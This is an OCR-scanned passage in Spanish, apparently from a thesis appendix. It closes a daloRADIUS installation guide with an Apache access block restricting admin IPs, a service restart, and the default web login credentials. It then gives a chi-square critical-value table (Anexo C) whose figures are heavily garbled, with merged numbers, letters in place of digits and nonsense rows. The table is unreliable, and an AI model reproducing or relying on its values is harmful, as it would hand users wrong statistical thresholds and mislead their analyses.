IP del sistema desde el cual se realizara la administracion remota de Daloradius :

Alias /daloradius "/var/www/daloradius-0.9-8/"

Options None

order deny,allow
deny from all

allow from 127.0.0.1

allow from x.x.x.x

Reinicie el servicio httpd :



service httpd restart

Acceda con cualquier navegador moderno hacia http://direcion-ip-servidor/radius/. Ingrese con
el usuario Administrator y la clave de acceso radius . Desde esta interfaz podra afiadir y

administrar las cuentas de usuarios y administrar y afiadir los puntos de acceso.



Anexo C
Tabla Estadistica Chi - Cuadrado

Probabilidad de un valor superior - Alfa (o)

Grados

libertad 0.1 0,05 0,023 o.M 0,003

1 21 184 502 8,63 788
2 4 81 5,59 T.38 2.2 10,80
3 6,25 T.81 9,35 11,24 12,84
4 T.78 9,45 11,14 1328 14 85
£ 9,24 11,07 1283 15,09 18,75
i 10,64 12,58 14,45 18,81 18 55
Fi 12,02 14,07 18,01 18,48 20,28
E: 13,38 15,51 17,53 20,09 21,85
a 14 68 18,92 19,02 21,87 2159
10 15,99 18,31 20,48 231 25,19
i1 i7.28 15,68 21,52 2473 28,76
12 18,55 21,03 2334 2622 2820
12 15,81 X235 2474 27T B9 29,82
14 21,06 23 68 26,12 29,14 31,32
i5 X231 25,00 27,49 30,58 1280
16 23,54 26,20 ZB.BR 32,00 427
i7 2477 27,558 30,19 3.4 A5 T2
i2 2559 28 BT 31,53 34 81 = ]
13 27,20 0,14 zB5 8,19 I8 BB
20 2841 YA | M7 T 40,00
21 X5 82 1287 35 48 a3 41,40
e 0,81 3az 8T8 40,79 47 B0
23 2.0 BT 3808 41,54 44 18
24 1320 I5.42 15,35 47 of 4F, FA
25 34 38 a7 B8R 40 85 44 31 45 93
26 35,56 B ES 41,52 45 54 48729
27 574 40,11 43119 45 56 45 85
2B arez 41,24 44 45 48 78 5D.59
23 15,09 47 Bh 45 T2 45 59 5234
D 40 26 4377 45 S8 RD.BS Rl 8T
40 51,81 &R TG F9.34 63,89 88,77
5D 63,17 67,50 71,42 T8, 15 79,49
a0 T4 40 73,08 83120 &8 38 21,85
0 85 53 90,53 95,02 100,43 104,21
2D 95 BB 101,88 106 83 112,33 116,32
20 107 57 113,15 118,14 124 12 128,20
100 118 50 124 34 129 .56 13581 14017



